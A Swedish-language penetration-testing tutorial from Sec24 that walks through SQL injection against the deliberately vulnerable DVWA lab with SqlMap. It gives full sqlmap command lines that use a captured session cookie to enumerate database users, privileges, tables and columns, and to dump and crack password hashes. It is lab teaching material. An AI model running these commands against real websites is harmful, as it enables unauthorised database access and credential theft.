Sec24 – SQL Injection – SqlMap

Av: Oscar Andersson, Sec24, 2013-05-18

OBS:  Följande guider är enbart för utbildningssyfte och får absolut inte användas för olagliga ändamål.

Denna guide utgår ifrån att du har satt upp en DVWA – Damn Vulnerable Web Application och nu är ansluten till denna. Du kommer behöva DVWA och Backtrack eller Kali. Du hittar mer info om dessa i sektionen Hur hackar man -> Sätta upp en testmiljö.

Logga in på DVWA från BackTrack eller Kali via Firefox. När du väl är inloggad börjar du med att trycka på fliken DVWA Security. Här kan du välja vilken säkerhetsnivå hemsidan ska ha. I den här introduktionsguiden sätter vi säkerhetsnivån till low och trycker på Submit.

Efter det går vi in på SQL Injection fliken. SQL Injection definition enligt wikipedia: “SQL-injektion (engelska SQL injection) är ett sätt att utnyttja säkerhetsproblem i hanteringen av indata i vissa datorprogram som arbetar mot en databas. Injektionen sker genom att en användare skickar in parametrar till en databasfråga, utan att parametrarna transformeras korrekt med avseende på speciella tecken, som escapesekvenser. Med anpassade parametrar kan en användare kringgå inloggningssystem och manipulera data. Metoden har fått sitt namn av databasfrågespråket SQL.” Här är en kort introduktion för er som inte kan. Introduktion till frågespråket SQL

Nästa steg är att gå upp till Tools och välja Tamper Data i Firefox.

Sec24 hur hackar man DVWA penetrationstest SQL Injection Sqlmap 1

 

 

 

Klicka sedan på “Start Tamper“. Gå sedan tillbaka till textrutan, klicka i “1” som User ID och tryck på Submit. Målet här är att se GET förfrågan som skickas till CGI (Common Gateway Interface) som annars inte syns. Vi kan även använda utdatan i SqlMap senare för att få fram användarnamn och lösenord. Efter du klickat på Submit kommer en ruta upp som heter “Tamper with request?” . Se där till att “Continue Tampering?” INTE är ikryssat och klicka sedan på Submit.

Sec24 hur hackar man DVWA penetrationstest SQL Injection Sqlmap 3

 

 

Välj sedan den andra GET-förfrågan, högerklicka på “Referer” och välj “Copy”.

Sec24 hur hackar man DVWA penetrationstest SQL Injection Sqlmap 6

Spara sedan information i ett textdokument. Ett förslag är Notepad som i BackTrack nås via: Applications –> Wine –> Programs –> Accessories –> Notepad. Gå sedan tillbaka till Tamper Data och kopiera Cookie som finns under Referer. Spara även denna informationen.

Sec24 hur hackar man DVWA penetrationstest SQL Injection Sqlmap 7

Starta nu upp en ny terminal i BackTrack och navigera till SqlMap-katalogen och starta sedan SqlMap.

cd /pentest/database/sqlmap

./sqlmap.py -u “http://192.168.1.125/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”security=low; PHPSESSID=49d67de02d6ef865ef761be20acc2fc1″ -b –current-db –current-user

-u är målets URL. Här klistrar vi in länken från Referer.

–cookie är Cookien som ska användas. Här klistrar vi in vår Cookie.

-b hämtar DBMS banner.

–current-db hämtar DBMS nuvarande databas.

–current-user hämtar DBMS nuvarande användare.

Efter kommandot körts kommer du få två frågor:

GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? y

parsed error message(s) showed that the back-end DBMS could be MySQL. Do you want to skip test payloads specific for other DBMSes? y

Frågan nedan kan komma upp flera gånger. Bara att trycka y varje gång.

injection not exploitable with NULL values. Do you want to try with a random integer value for option ‘–union-char’? y

Sec24 hur hackar man DVWA penetrationstest SQL Injection Sqlmap 8

Vi har nu fått fram att användaren är root och databasen är dvwa.

För att få fram DBMS användarnamn och lösenord kan nedanstående kommando köras. Jag kör mot Metasploitable som är helt öppet och därför finns heller inga lösenordshashar.

./sqlmap.py -u “http://192.168.1.125/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”security=low; PHPSESSID=49d67de02d6ef865ef761be20acc2fc1″ –string=”Surname” –users –password

-u är målets URL. Här klistrar vi in länken från Referer.

–cookie är Cookien som ska användas. Här klistrar vi in vår Cookie.

–string. Här skriver vi in en textsträng som alltid returneras oavsett om det är en giltig eller ogiltig databasfråga.

–users listar alla DBMS användare

–password listar DBMS lösenord för användarna

För frågan “do you want to perform a dictionary-based attack against retrieved password hashes?” skriver du y.

Sec24 hur hackar man DVWA penetrationstest SQL Injection Sqlmap 9

Vi kan nu kontrollera vilka privilegier en viss användare har. Jag valde att kontrollera privilegierna för användaren guest:

./sqlmap.py -u “http://192.168.1.125/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”security=low; PHPSESSID=49d67de02d6ef865ef761be20acc2fc1″ -U guest –privileges

-u är målets URL. Här klistrar vi in länken från Referer.

–cookie är Cookien som ska användas. Här klistrar vi in vår Cookie.

-U vilken användare vi vill kolla upp

–privileges listar användaren privilegier.

Baserat på informationen vi får fram ser vi att guest har administratörsrättigheter och kan logga in varifrån som helst tack vare wildcard operatorn “%”.

Sec24 hur hackar man DVWA penetrationstest SQL Injection Sqlmap 11

Vi ska nu ta fram en lista på alla databaser som finns på servern.

./sqlmap.py -u “http://192.168.1.125/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”security=low; PHPSESSID=49d67de02d6ef865ef761be20acc2fc1″ –dbs

-u är målets URL. Här klistrar vi in länken från Referer.

–cookie är Cookien som ska användas. Här klistrar vi in vår Cookie.

–dbs listar alla DMBS databaser.

Sec24 hur hackar man DVWA penetrationstest SQL Injection Sqlmap 12

I nästa steg vill vi få fram alla tabeller i databasen.

./sqlmap.py -u “http://192.168.1.125/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”security=low; PHPSESSID=49d67de02d6ef865ef761be20acc2fc1″ -D dvwa –tables

-u är målets URL. Här klistrar vi in länken från Referer.

–cookie är Cookien som ska användas. Här klistrar vi in vår Cookie.

-D specificerar vilken databas

–tables listar den valda databasens tabeller.

Sec24 hur hackar man DVWA penetrationstest SQL Injection Sqlmap 13

I nästa steg vill vi få fram kolumnerna från tabellen users.

./sqlmap.py -u “http://192.168.1.125/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”security=low; PHPSESSID=49d67de02d6ef865ef761be20acc2fc1″ -D dvwa -T users –columns

-u är målets URL. Här klistrar vi in länken från Referer.

–cookie är Cookien som ska användas. Här klistrar vi in vår Cookie.

-D specificerar vilken databas

-T specificerar databasens tabell

–columns listar alla kolumner i den valda tabellen.

Sec24 hur hackar man DVWA penetrationstest SQL Injection Sqlmap 14

Vi ser här att tabellen users innehåller både användare (user) och lösenord (password). Nästa steg blir att få fram dessa.

./sqlmap.py -u “http://192.168.1.125/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”security=low; PHPSESSID=49d67de02d6ef865ef761be20acc2fc1″ -D dvwa -T users -C user,password –dump

-u är målets URL. Här klistrar vi in länken från Referer.

–cookie är Cookien som ska användas. Här klistrar vi in vår Cookie.

-D specificerar vilken databas

-T specificerar databasens tabell

-C specificerar tabellens kolumner

–dump hämtar informationen.

Frågor som kommer:

do you want sqlmap to consider provided column(s):
[1] as LIKE column names (default)
[2] as exact column names

Välj 1.

recognized possible password hashes in column ‘password’. Do you want to crack them via a dictionary-based attack? y

what dictionary do you want to use?
[1] default dictionary file ‘/pentest/database/sqlmap/txt/wordlist.txt’ (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files

Tryck bara enter eller välj 1

do you want to use common password suffixes? y

Sedan kommer BackTrack snyggt lista upp användarna och deras respektive lösenord.

Sec24 hur hackar man DVWA penetrationstest SQL Injection Sqlmap 16

För att inte behöva gå igenom alla steg går det även att få ut all information från början genom att använda kommandot:

./sqlmap.py -u “http://192.168.1.125/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”security=low; PHPSESSID=49d67de02d6ef865ef761be20acc2fc1″ –current-user –current-db –dump

Sec24 hur hackar man DVWA penetrationstest SQL Injection Sqlmap 17